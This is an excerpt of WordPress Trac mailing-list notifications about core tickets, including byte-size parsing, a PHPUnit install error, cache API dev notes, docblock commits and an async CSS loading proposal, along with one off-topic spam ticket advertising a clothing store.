wp_convert_hr_to_bytes() report correct byte sizes for php.ini "shorthand" values In-Reply-To: <051.0e86b39c715e63b6336d3ec6eab7e6cf@wordpress.org> References: <051.0e86b39c715e63b6336d3ec6eab7e6cf@wordpress.org> Message-ID: <066.9c4cf82b045aa8e23d41e3509dd3ee7f@wordpress.org> #55635: wp_convert_hr_to_bytes() report correct byte sizes for php.ini "shorthand" values -------------------------------------------------+------------------------- Reporter: dmsnell | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting | Review Component: Upload | Version: Severity: normal | Resolution: Keywords: needs-unit-tests has-patch dev- | Focuses: feedback changes-requested | -------------------------------------------------+------------------------- Changes (by dmsnell): * Attachment "55635.0.2.diff" added. Incorporates some style feedback and checks for `false` input. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55635> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 03:47:17 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 03:47:17 -0000 Subject: [wp-trac] [WordPress Trac] #55635: wp_convert_hr_to_bytes() report correct byte sizes for php.ini "shorthand" values In-Reply-To: <051.0e86b39c715e63b6336d3ec6eab7e6cf@wordpress.org> References: <051.0e86b39c715e63b6336d3ec6eab7e6cf@wordpress.org> Message-ID: <066.53d767fb903ec6eeb56d088c16bae7c3@wordpress.org> #55635: wp_convert_hr_to_bytes() report correct byte sizes for php.ini "shorthand" values -------------------------------------------------+------------------------- Reporter: dmsnell | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting | Review Component: Upload | Version: Severity: normal | Resolution: Keywords: needs-unit-tests has-patch dev- | Focuses: feedback changes-requested | -------------------------------------------------+------------------------- Comment (by dmsnell): @dd32 another quick thing: I considered moving this function into a new file such as `wp-includes/php-compat.php` but ultimately chose not to because that would involve adding a new file and then needing to `require` it inside `load.php`. That's still an option and possibly a way to isolate it's more nuanced behavior from the more general WordPress code int he rest of the file. It could also add a nice way to separate some of the more cluttered parts of this function into separate helpers. If you think it's worth doing that I'd be happy to do so, but so far figured folks would prefer leaving this as-is in place since it doesn't require that level of separation yet. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55635#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 04:09:07 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 04:09:07 -0000 Subject: [wp-trac] [WordPress Trac] #55635: wp_convert_hr_to_bytes() report correct byte sizes for php.ini "shorthand" values In-Reply-To: <051.0e86b39c715e63b6336d3ec6eab7e6cf@wordpress.org> References: <051.0e86b39c715e63b6336d3ec6eab7e6cf@wordpress.org> Message-ID: <066.12bf922dd4a99bf9f9962616e8d39d67@wordpress.org> #55635: wp_convert_hr_to_bytes() report correct byte sizes for php.ini "shorthand" values -------------------------------------------------+------------------------- Reporter: dmsnell | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting | Review Component: Upload | Version: Severity: normal | Resolution: Keywords: needs-unit-tests has-patch dev- | Focuses: feedback changes-requested | -------------------------------------------------+------------------------- Comment (by costdev): Hi @dmsnell, I did remove the PHPDoc data from the single-line comments based on the [https://developer.wordpress.org/coding-standards/inline- documentation-standards/php/#5-inline-comments Docs Standards]. However, I'm not opposed to their existence in the code since `/** @var` exists in 722 locations elsewhere in Core. > Is this an error from real code or possibly just from a test? This seems to only be in the test suite, appearing almost immediately, so it might exist in the test suite's bootstrap. > We can always add extra runtime type-checking and casting, though it seems like the intention here is to only be called with data from ini_get() which only returns string values (or false, which I suppose would be good to guard against). I checked and I don't believe any code in Core should be passing an integer so **maybe there's buggy test code out there doing that thinking that this function wants an integer?** It's possible, and the function ''is'' documented to receive `(string) $value`. However, without the guard in place, there's the potential that a number of the [https://wpdirectory.net/search/01G1Q34ZM2HRM2C8FYB9JK10ZB 440 plugins] out there may experience some breakages, depending on how they're using it. A ''cursory'' glance shows that in many cases, they seem to be correctly passing a string. > Concerning the list of $digits do we have a policy for excluding the formatting rule? I personally found it more distracting as a large multi- line list and so am hoping we can exclude that array for the sake of not distracting what's going on in the rest of the function. There are `phpcs:ignore` comments in Core, but none for the rule in question: `WordPress.Arrays.ArrayDeclarationSpacing.ArrayItemNoNewLine` Generally, it's discouraged to ignore rules, although I don't know of any strict rule against it. I don't personally find the multiline list distracting, but I appreciate that you do. Given that these two shorter alternatives aren't as clear, or as performant, as the original patch or the multiline list, I think it's either a case of a multiline list or a `phpcs:ignore` comment. I defer to consensus on that should the array be in the final patch. {{{#!php <?php $digits = range( 0, 9 ); $digits = array_merge( $digits, array( 'A' => 10, 'a' => 10, 'B' => 11, 'b' => 11, 'C' => 12, 'c' => 12, 'D' => 13, 'd' => 13, 'E' => 14, 'e' => 14, 'F' => 15, 'f' => 15, ) ); // OR $digits = array_merge( range( 0, 9 ), array_combine( array( 'A', 'a', 'B', 'b', 'C', 'c', 'D', 'd', 'E', 'e', 'F', 'f' ), array( 10, 10, 11, 11, 12, 12, 13, 13, 14, 14, 15, 15 ) ) ); }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55635#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 05:11:51 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 05:11:51 -0000 Subject: [wp-trac] [WordPress Trac] #54637: wp_read_image_metadata() sends `false` instead of `array` for `$iptc` and `$exif` parameters to `wp_read_image_metadata` filter In-Reply-To: <063.32fc93bcbf6777b6c94db4a37bb7688c@wordpress.org> References: <063.32fc93bcbf6777b6c94db4a37bb7688c@wordpress.org> Message-ID: <078.54237888c4b62d80c2c8cdb940a4d8fe@wordpress.org> #54637: wp_read_image_metadata() sends `false` instead of `array` for `$iptc` and `$exif` parameters to `wp_read_image_metadata` filter -------------------------------------+--------------------------- Reporter: volodymyrkolesnykov | Owner: mikeschroder Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Media | Version: 5.8.2 Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: -------------------------------------+--------------------------- Changes (by mikeschroder): * owner: (none) => mikeschroder * status: new => assigned Comment: I'm going to test this for commit, to see if we can land it before RC. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54637#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 05:23:35 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 05:23:35 -0000 Subject: [wp-trac] [WordPress Trac] #55632: WordPress database error when running PHPUnit tests In-Reply-To: <050.40bf5c2b8b4c1561bdb094b52daf6d07@wordpress.org> References: <050.40bf5c2b8b4c1561bdb094b52daf6d07@wordpress.org> Message-ID: <065.5459f8e4084597102840a8f3b46cdd38@wordpress.org> #55632: WordPress database error when running PHPUnit tests ---------------------------------------+--------------------- Reporter: Chouby | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: trunk Severity: normal | Resolution: Keywords: needs-patch needs-testing | Focuses: ---------------------------------------+--------------------- Changes (by peterwilsoncc): * Attachment "55632.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55632> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 05:35:49 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 05:35:49 -0000 Subject: [wp-trac] [WordPress Trac] #55632: WordPress database error when running PHPUnit tests In-Reply-To: <050.40bf5c2b8b4c1561bdb094b52daf6d07@wordpress.org> References: <050.40bf5c2b8b4c1561bdb094b52daf6d07@wordpress.org> Message-ID: <065.16e15e6e185dbdd1323d0a52e6b2583e@wordpress.org> #55632: WordPress database error when running PHPUnit tests -------------------------------------+--------------------- Reporter: Chouby | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: trunk Severity: normal | Resolution: Keywords: needs-testing has-patch | Focuses: -------------------------------------+--------------------- Changes (by peterwilsoncc): * keywords: needs-patch needs-testing => needs-testing has-patch Comment: I was able to reproduce this locally. 1. Open test database in your favourite MySQL interface 2. Drop all of the tables 3. Run `phpunit` and observe the error described above. [attachment:"55632.diff"] fixes the problem by assuming there are no webfonts to enqueue during installation and bypassing the check of `WP_Theme_JSON_Resolver`. An alternative might be to move `$fn_register_webfonts` to run early on the `wp_enqueue_scripts` hook. The fuller solution is probably at a lower level in which FSE themes check whether WP is installed before attempting to access the FSE posts. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55632#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 06:31:01 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 06:31:01 -0000 Subject: [wp-trac] [WordPress Trac] #55637: Remove consecutive whitespaces Message-ID: <054.150c69ce10f5c3a691672a047f848d69@wordpress.org> #55637: Remove consecutive whitespaces -------------------------+----------------------------- Reporter: grandeljay | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Comments | Version: trunk Severity: trivial | Keywords: Focuses: docs | -------------------------+----------------------------- -- Ticket URL: <https://core.trac.wordpress.org/ticket/55637> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 07:14:53 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 07:14:53 -0000 Subject: [wp-trac] [WordPress Trac] #55638: bookmywear design and makeover with styling clothing app Message-ID: <054.10a135b89b095a5b836b6c225eaee79f@wordpress.org> #55638: bookmywear design and makeover with styling clothing app -------------------------------+----------------------------------- Reporter: jecknicola | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Posts, Post Types | Version: 5.8.1 Severity: normal | Keywords: needs-design-feedback Focuses: docs | -------------------------------+----------------------------------- https://www.bookmywear.com/ Bookmywear Is well established online Platform for women Attire. We means Bookmywear has expertise and experience of more than a decade to design and manufacture the latest designer Women apparel. We have very friendly Website so people cannot confuse and easily come to know all require details related to products and payment and shipping. We are the only store mainly focus on latest design for all types of Lehenga choli, Lehenga, Gown, Party Wear Gown, Saree, Banarasi saree, Kurti, Salwar Suit, Salwar Kameez and all Women Attire. We, Bookmywear is one stop solution for all kind of clothing for women and Girls. We are customer friendly hence our Terms and condition and Privacy policy has taken Customer’s Satisfaction and experience into the consideration. We have secure mode of online payments. We also Provide Cash on Delivery option so, customer don’t face any issue related to payment. Customer satisfaction is our goal so, we Provide the best quality products to our customer at reasonable Price. We have very transparent Policy and terms condition for Shipping, Return and Exchange So, Our customer come to know very clear and specific details so they are not entertained. We follow the Latest and Unique Trends for women Attire like Bollywood Lehenga or Lehenga choli, Bollywood Saree, Festive Lehenga and festive gown. So, our customer come to know regarding latest trend and go with trend to be fashionable and stylish to walk with the time. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55638> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 07:15:25 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 07:15:25 -0000 Subject: [wp-trac] [WordPress Trac] #55638: bookmywear design and makeover with styling clothing app In-Reply-To: <054.10a135b89b095a5b836b6c225eaee79f@wordpress.org> References: <054.10a135b89b095a5b836b6c225eaee79f@wordpress.org> Message-ID: <069.2e8db03a6ab56f60e67b7c83c267e7db@wordpress.org> #55638: bookmywear design and makeover with styling clothing app -----------------------------------+------------------------------ Reporter: jecknicola | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Posts, Post Types | Version: 5.8.1 Severity: normal | Resolution: Keywords: needs-design-feedback | Focuses: docs -----------------------------------+------------------------------ Changes (by jecknicola): * Attachment "image (6).png" added. buy beautiful sarees,salwar-kameez,party-wear-gown,festive-lehenga-choli go to buy bookmywear collection. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55638> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 07:16:08 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 07:16:08 -0000 Subject: [wp-trac] [WordPress Trac] #55638: bookmywear design and makeover with styling clothing app In-Reply-To: <054.10a135b89b095a5b836b6c225eaee79f@wordpress.org> References: <054.10a135b89b095a5b836b6c225eaee79f@wordpress.org> Message-ID: <069.c37f26d75b7cb0ba5846b047e6422843@wordpress.org> #55638: bookmywear design and makeover with styling clothing app -----------------------------------+------------------------------ Reporter: jecknicola | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Posts, Post Types | Version: 5.8.1 Severity: normal | Resolution: Keywords: needs-design-feedback | Focuses: docs -----------------------------------+------------------------------ Changes (by jecknicola): * Attachment "image (6).2.png" added. buy beautiful sarees,salwar-kameez,party-wear-gown,festive-lehenga-choli go to buy bookmywear collection. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55638> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 07:45:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 07:45:04 -0000 Subject: [wp-trac] [WordPress Trac] #55633: First sitemap has more URLs than expected with sticky posts In-Reply-To: <050.4583ee216dbc1416fbb31b0c57cfd0ac@wordpress.org> References: <050.4583ee216dbc1416fbb31b0c57cfd0ac@wordpress.org> Message-ID: <065.bf9d1ed9f664773eecff3a100160a90f@wordpress.org> #55633: First sitemap has more URLs than expected with sticky posts --------------------------+------------------------------ Reporter: RavanH | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Sitemaps | Version: 5.5 Severity: minor | Resolution: Keywords: | Focuses: --------------------------+------------------------------ Comment (by swissspidy): Yeah that sounds reasonable -- Ticket URL: <https://core.trac.wordpress.org/ticket/55633#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 07:46:44 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 07:46:44 -0000 Subject: [wp-trac] [WordPress Trac] #55638: bookmywear design and makeover with styling clothing app In-Reply-To: <054.10a135b89b095a5b836b6c225eaee79f@wordpress.org> References: <054.10a135b89b095a5b836b6c225eaee79f@wordpress.org> Message-ID: <054.10a135b89b095a5b836b6c225eaee79f@wordpress.org> #55638: bookmywear design and makeover with styling clothing app -----------------------------------+------------------------------ Reporter: jecknicola | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Posts, Post Types | Version: 5.8.1 Severity: normal | Resolution: Keywords: needs-design-feedback | Focuses: docs -----------------------------------+------------------------------ Changes (by jecknicola): * Attachment "image (6).png" removed. buy beautiful sarees,salwar-kameez,party-wear-gown,festive-lehenga-choli go to buy bookmywear collection. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55638> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 07:46:44 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 07:46:44 -0000 Subject: [wp-trac] [WordPress Trac] #55638: bookmywear design and makeover with styling clothing app In-Reply-To: <054.10a135b89b095a5b836b6c225eaee79f@wordpress.org> References: <054.10a135b89b095a5b836b6c225eaee79f@wordpress.org> Message-ID: <054.10a135b89b095a5b836b6c225eaee79f@wordpress.org> #55638: bookmywear design and makeover with styling clothing app -----------------------------------+------------------------------ Reporter: jecknicola | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Posts, Post Types | Version: 5.8.1 Severity: normal | Resolution: Keywords: needs-design-feedback | Focuses: docs -----------------------------------+------------------------------ Changes (by jecknicola): * Attachment "image (6).2.png" removed. buy beautiful sarees,salwar-kameez,party-wear-gown,festive-lehenga-choli go to buy bookmywear collection. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55638> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 08:13:15 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 08:13:15 -0000 Subject: [wp-trac] [WordPress Trac] #55635: wp_convert_hr_to_bytes() report correct byte sizes for php.ini "shorthand" values In-Reply-To: <051.0e86b39c715e63b6336d3ec6eab7e6cf@wordpress.org> References: <051.0e86b39c715e63b6336d3ec6eab7e6cf@wordpress.org> Message-ID: <066.73e497518fc389f444bed034afc35e90@wordpress.org> #55635: wp_convert_hr_to_bytes() report correct byte sizes for php.ini "shorthand" values -------------------------------------------------+------------------------- Reporter: dmsnell | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting | Review Component: Upload | Version: Severity: normal | Resolution: Keywords: needs-unit-tests has-patch dev- | Focuses: feedback changes-requested | -------------------------------------------------+------------------------- Comment (by pento): This is a fun patch. 🙂 I think this change should go in a new function, rather than altering the behaviour of the existing function. While the original intention of `wp_convert_hr_to_bytes()` was for quickly parsing PHP INI values, I suspect that it's often used for converting any "human readable" sizes to their integer equivalent ([https://plugins.trac.wordpress.org/browser/backupwordpress/trunk/functions/core.php#L447 example]). I would argue that `wp_convert_hr_to_bytes('1MB')` is a reasonable usage of the function, and returns the expected (if technically incorrect) value, particularly when comparing it to the behaviour of the corresponding `wp_convert_bytes_to_hr()` function (since deprecated in favour of `size_format()`, but still relevant). One other note, the function should support `-1` (as an integer, not a string), as this is [https://core.trac.wordpress.org/browser/trunk/tests/phpunit/includes/bootstrap.php#L230 commonly used] for the `WP_MEMORY_LIMIT`/`WP_MAX_MEMORY_LIMIT` constants. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55635#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 08:38:11 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 08:38:11 -0000 Subject: [wp-trac] [WordPress Trac] #55638: Undefined property: WP_Post_Type::$post_type Message-ID: <050.b85df3ef0415dc0049b13068a50490a9@wordpress.org> #55638: Undefined property: WP_Post_Type::$post_type --------------------------+----------------------------- Reporter: pienoz | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.3 Severity: normal | Keywords: Focuses: | --------------------------+----------------------------- PHP 8.1.5 PHP Warning: Undefined property: WP_Post_Type::$post_type in wp-includes /post-template.php on line 649 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55638> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 08:47:42 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 08:47:42 -0000 Subject: [wp-trac] [WordPress Trac] #54574: Add wp_cache_*_multiple function In-Reply-To: <056.5bdf45f85b8c5dea45eaa02f22662630@wordpress.org> References: <056.5bdf45f85b8c5dea45eaa02f22662630@wordpress.org> Message-ID: <071.5749ff33e8f4b016f23c21140596398e@wordpress.org> #54574: Add wp_cache_*_multiple function -------------------------------------------------+------------------------- Reporter: spacedmonkey | Owner: | spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Cache API | Version: Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests needs-dev- | Focuses: note needs-docs | performance -------------------------------------------------+------------------------- Comment (by spacedmonkey): Dev note ready for [https://docs.google.com/document/d/1Li1jlxP3s3WFbOq1VEs_n4M4Ud_vZUGGT0Qgj9ZSSU8/edit?usp=sharing review]. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54574#comment:22> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 08:48:27 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 08:48:27 -0000 Subject: [wp-trac] [WordPress Trac] #55029: Implement the wp_cache_*_multiple function in core In-Reply-To: <056.bc26784a192fcb464eca88811c46c9a9@wordpress.org> References: <056.bc26784a192fcb464eca88811c46c9a9@wordpress.org> Message-ID: <071.eb9ea20ac06b914e2c84277faebe84e8@wordpress.org> #55029: Implement the wp_cache_*_multiple function in core --------------------------------------+--------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Cache API | Version: Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests | Focuses: performance --------------------------------------+--------------------------- Comment (by spacedmonkey): Dev note ready for [https://docs.google.com/document/d/1Li1jlxP3s3WFbOq1VEs_n4M4Ud_vZUGGT0Qgj9ZSSU8/edit?usp=sharing review]. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55029#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 08:50:01 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 08:50:01 -0000 Subject: [wp-trac] [WordPress Trac] #55080: Introduce a new `wp_cache_flush_runtime()` method In-Reply-To: <054.f9deb7514a5e162e54e77af39a76679f@wordpress.org> References: <054.f9deb7514a5e162e54e77af39a76679f@wordpress.org> Message-ID: <069.fbd411192317dda68d5d4934e56dfba1@wordpress.org> #55080: Introduce a new `wp_cache_flush_runtime()` method -------------------------------------------------+------------------------- Reporter: tillkruess | Owner: | spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Cache API | Version: trunk Severity: minor | Resolution: fixed Keywords: has-patch commit needs-dev-note | Focuses: needs-docs | performance -------------------------------------------------+------------------------- Comment (by spacedmonkey): Dev note ready for [https://docs.google.com/document/d/1Li1jlxP3s3WFbOq1VEs_n4M4Ud_vZUGGT0Qgj9ZSSU8/edit?usp=sharing review]. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55080#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 09:47:44 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 09:47:44 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.02459f6fef37d6a9e2cdf9de5fe03248@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by johnbillion): In [changeset:"53300" 53300]: {{{ #!CommitTicketReference repository="" revision="53300" Docs: Various docblock corrections. See #54729 }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:93> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 09:53:13 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 09:53:13 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.ad354f66e17f9c75ec1ffc2dd04d8bae@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by johnbillion): In [changeset:"53301" 53301]: {{{ #!CommitTicketReference repository="" revision="53301" Mail: Improve the docblocks for actions and functions related to the parsing of authentication cookies. See #54729 }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:94> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 09:58:10 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 09:58:10 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.5f29fcbcc97774bb7779dbb7c96d1e8f@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by johnbillion): In [changeset:"53302" 53302]: {{{ #!CommitTicketReference repository="" revision="53302" Docs: Various docblock corrections and improvements for changes introduced in 6.0. See #54729 }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:95> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 09:59:12 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 09:59:12 -0000 Subject: [wp-trac] [WordPress Trac] #55632: WordPress database error when running PHPUnit tests In-Reply-To: <050.40bf5c2b8b4c1561bdb094b52daf6d07@wordpress.org> References: <050.40bf5c2b8b4c1561bdb094b52daf6d07@wordpress.org> Message-ID: <065.8e041996887c50efdd7946344a2fe188@wordpress.org> #55632: WordPress database error when running PHPUnit tests -------------------------------------+--------------------- Reporter: Chouby | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: trunk Severity: normal | Resolution: Keywords: needs-testing has-patch | Focuses: -------------------------------------+--------------------- Comment (by SergeyBiryukov): Replying to [comment:5 peterwilsoncc]: > An alternative might be to move `$fn_register_webfonts` to run early on the `wp_enqueue_scripts` hook. Just noting that this option also works in my testing. Could that be the preferred approach here? Is there a use case for registering webfonts earlier, like currently on the `wp_loaded` hook? -- Ticket URL: <https://core.trac.wordpress.org/ticket/55632#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 10:11:43 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 10:11:43 -0000 Subject: [wp-trac] [WordPress Trac] #55411: Deprecated error in WordPress 5.9 on PHP 8.1 In-Reply-To: <057.e87e31fe46e8b38d8b6a8b2085d74bb7@wordpress.org> References: <057.e87e31fe46e8b38d8b6a8b2085d74bb7@wordpress.org> Message-ID: <072.c65a6a7548faa3bae8c60dab6c8f7e25@wordpress.org> #55411: Deprecated error in WordPress 5.9 on PHP 8.1 -------------------------------------+------------------------------ Reporter: meysamnorouzi | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.2 Severity: normal | Resolution: Keywords: php81 reporter-feedback | Focuses: -------------------------------------+------------------------------ Comment (by wparslan): @jrf you are right, the functionality doesn't stop. However, we are left with a lot of unwanted lines on the front-end sometimes breaking the structures. So have to resolve these deprecation warnings. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55411#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 10:14:06 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 10:14:06 -0000 Subject: [wp-trac] [WordPress Trac] #55639: Implement Async CSS Message-ID: <059.a9baf9f84d4f2163a3e46890de0aeca4@wordpress.org> #55639: Implement Async CSS -----------------------------+----------------------------- Reporter: mihaidumitrascu | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Keywords: has-patch Focuses: javascript | -----------------------------+----------------------------- Initially created as a Performance Lab issue: https://github.com/WordPress/performance/issues/120 by @dainemawer. Copied description below: Another pattern to possibly follow is Asynchronous CSS - this was suggested by the Filament Group at some point and has had some decent results: https://www.filamentgroup.com/lab/load-css-simpler/ It is slightly hacky, but it involves loading CSS files with media attribute set to print - this allows the browser to load the stylesheet in a non render block fashion. Using the onload attribute, we can set media back to all so that the stylesheet is applied as one would expect. As fallback, the original link is included in a a <noscript> tag incase JS borks out: {{{ <link rel="stylesheet" href="/path/to/my.css" media="print" onload="this.media='all'" /> <noscript>  <link rel="stylesheet" href="/path/to/my.css" media="all" /> </noscript> }}} This could possibly be an extension of wp_enqueue_style by adding another parameter: {{{#!php <?php wp_enqueue_style( $handle, $src, $deps, $ver, $media = 'all', $async = true ); ?> }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55639> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 10:50:22 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 10:50:22 -0000 Subject: [wp-trac] [WordPress Trac] #54637: wp_read_image_metadata() sends `false` instead of `array` for `$iptc` and `$exif` parameters to `wp_read_image_metadata` filter In-Reply-To: <063.32fc93bcbf6777b6c94db4a37bb7688c@wordpress.org> References: <063.32fc93bcbf6777b6c94db4a37bb7688c@wordpress.org> Message-ID: <078.83883bf370b022d7b8c2e3b724203993@wordpress.org> #54637: wp_read_image_metadata() sends `false` instead of `array` for `$iptc` and `$exif` parameters to `wp_read_image_metadata` filter -------------------------------------+--------------------------- Reporter: volodymyrkolesnykov | Owner: mikeschroder Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Media | Version: 5.8.2 Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: -------------------------------------+--------------------------- Changes (by mikeschroder): * Attachment "20220404-0B6A9801.jpg" 